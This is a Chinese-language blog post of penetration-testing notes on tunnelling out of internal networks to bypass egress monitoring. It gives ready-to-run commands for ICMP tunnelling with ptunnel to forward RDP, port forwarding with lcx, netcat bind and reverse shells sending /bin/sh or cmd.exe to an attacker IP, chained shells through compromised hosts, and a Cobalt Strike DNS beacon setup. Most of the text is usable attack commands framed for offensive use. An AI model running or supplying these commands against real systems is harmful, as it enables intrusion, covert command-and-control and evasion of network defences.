内网渗透-隧道技术

常用隧道技术:

网络层:IPV6  ICMP

传输层:TCP  UDP  常规端口转发

应用层:SSH  HTTP/S  DNS

 在数据通信被拦截的情况下利用隧道技术封装该表通信协议进行绕过拦截,比如在实战中有时候会出现MSF、CS无法上线或者数据不稳定无回显等情况,这有可能是出口数据被监控了,或者网络通信存在问题,那么这时候就可以使用隧道技术来解决。

1.网络、传输、应用层检测连通性

1)TCP协议

用“瑞士军刀”--netcat,执行nc命令:nc <IP> <PORT>

2)HTTP协议

用“curl”工具,执行curl <IP:PORT>

3)ICMP协议

用ping命令,执行ping <IP:PORT>

4)DNS协议

nslookup windows

dig linux

2.网络层 ICMP 隧道 ptunnel 使用-检测,利用

pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具
-p      表示连接 icmp 隧道另一端的机器 IP(即目标服务器)
-lp    表示需要监听的本地 tcp 端口
-da  指定需要转发的机器的 IP即目标内网某一机器的内网 IP
-dp    指定需要转发的机器的端口(即目标内网某一机器的内网端口)
-x   设置连接的密码
被控主机:./ptunnel -x password
攻击主机:./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x password  #转发的 3389
请求数据给本地 1080
攻击主机:rdesktop 127.0.0.1 1080
老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译)
新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)

3.传输层转发隧道 Portmap 使用-检测,利用
windows: lcx
linuxportmap
lcx -slave 攻击 IP 3131 127.0.0.1 3389 //将本地 3389 给攻击 IP 3131
lcx -listen 3131 3333 //监听 3131 转发至 3333

4.传输层转发隧道 Netcat 使用-检测,利用,功能

1.双向连接反弹 shell
正向:攻击连接受害
受害:nc -ldp 1234 -e /bin/sh //linux
nc -ldp 1234 -e c:\windows\system32\cmd.exe //windows
攻击:nc 192.168.76.132 1234 //主动连接
反向:受害连接攻击
攻击:nc -lvp 1234
受害:nc 攻击主机 IP 1234 -e /bin/sh
nc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe
2.多向连接反弹 shell-配合转发
反向:
god\WebserverLcx.exe -listen 2222 3333
god\Sqlservernc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe
kali 或本机:nc -v 192.168.76.143 3333
正向该怎么操作呢?实战中改怎么选择正向和反向?
3.相关 netcat 主要功能测试
指纹服务:nc -nv 192.168.76.143
端口扫描:nc -v -z 192.168.76.143 1-100
端口监听:nc -lvp xxxx
文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹 Shell:见上

5.应用层 DNS 隧道配合 CS 上线-检测,利用,说明
当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀
1.云主机 Teamserver 配置端口 53 启用-udp
2.买一个域名修改解析记录如下:
A 记录->cs 主机名->CS 服务器 IP
NS 记录->ns1 主机名->上个 A 记录地址
NS 记录->ns2 主机名->上个 A 记录地址
3.配置 DNS 监听器内容如下:
ns1.xiaodi8.com
ns2.xiaodi8.com
cs.xiaodi8.com
4.生成后门执行上线后启用命令:
beacon> checkin
[*] Tasked beacon to checkin
beacon> mode dns-txt

posted @ 2023-01-08 21:55  林烬  阅读(37)  评论(0编辑  收藏  举报